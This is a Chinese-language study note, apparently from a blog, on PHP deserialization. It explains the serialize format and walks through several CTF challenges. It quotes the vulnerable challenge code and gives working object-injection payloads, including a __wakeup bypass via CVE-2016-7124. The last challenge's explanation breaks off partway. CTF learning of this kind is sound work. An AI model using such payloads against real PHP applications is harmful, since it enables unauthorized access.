PHP反序列化


定义

序列化
类似JSON数据

1
{"name":"Google","URL":"www.google.com"}

不同数据间用,隔离,用:分隔键和值
是由

1
2
3
4
<?php
$arr=array("name"=>"Google","URL"=>"www.google.com");
echo json_encode($arr);
?>

变换而来的

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class nyaru{
//定义了一个 `nyaru` 类
private $name1="Necora";
public $name2="Nyaru";
protected $memorial_day="20221026";
//[PHP中的类型](https://amanokuya.github.io/2022/09/27/PHP/)
function miaomiaolu(){
$this->xiaoheimao;}
}
$nyaru = new nyaru();
echo serialize($nyaru);
?>

会变成O:5:"nyaru":3:{s:12:"nyaruname1";s:6:"Necora";s:5:"name2";s:5:"Nyaru";s:15:"*memorial_day";s:8:"20221026";}
其结构为O:对象名长度:对象名:对象属性个数:{s:属性名长度:属性名;s:属性名长度;属性名......}


unserialize3
1
2
3
4
5
6
class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

payload为?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";}

ez_unserialize
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
 <?php
error_reporting(0);
show_source("cl45s.php");
class wllm{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "ctf"){
include("flag.php");
echo $flag;
}else{
echo $this->admin;
echo $this->passwd;
echo "Just a bit more!";
}
}
}
$p = $_GET['p'];
unserialize($p);
?>

序列化后O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}
payload ?p=序列化结果

no_wakeup

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
 <?php

header("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");

class HaHaHa{
public $admin;
public $passwd;
public function __construct(){
$this->admin ="user";
$this->passwd = "123456";
}
public function __wakeup(){
$this->passwd = sha1($this->passwd);
}
public function __destruct(){
if($this->admin === "admin" && $this->passwd === "wllm"){
include("flag.php");
echo $flag;
}else{
echo $this->passwd;
echo "No wake up";
}
}
}
$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);
?>

运用到CVE-2016-7124,利用序列化字符串里面变量个数大于真实变量个数来对_wakeup进行绕过

NiZhuanSiWei
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 <?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ //file_get_contents — 将整个文件读入一个字符串
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>

isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")
需要两个都为真,才能执行。要先给text一个值,这个字符串为welcome to the zjctf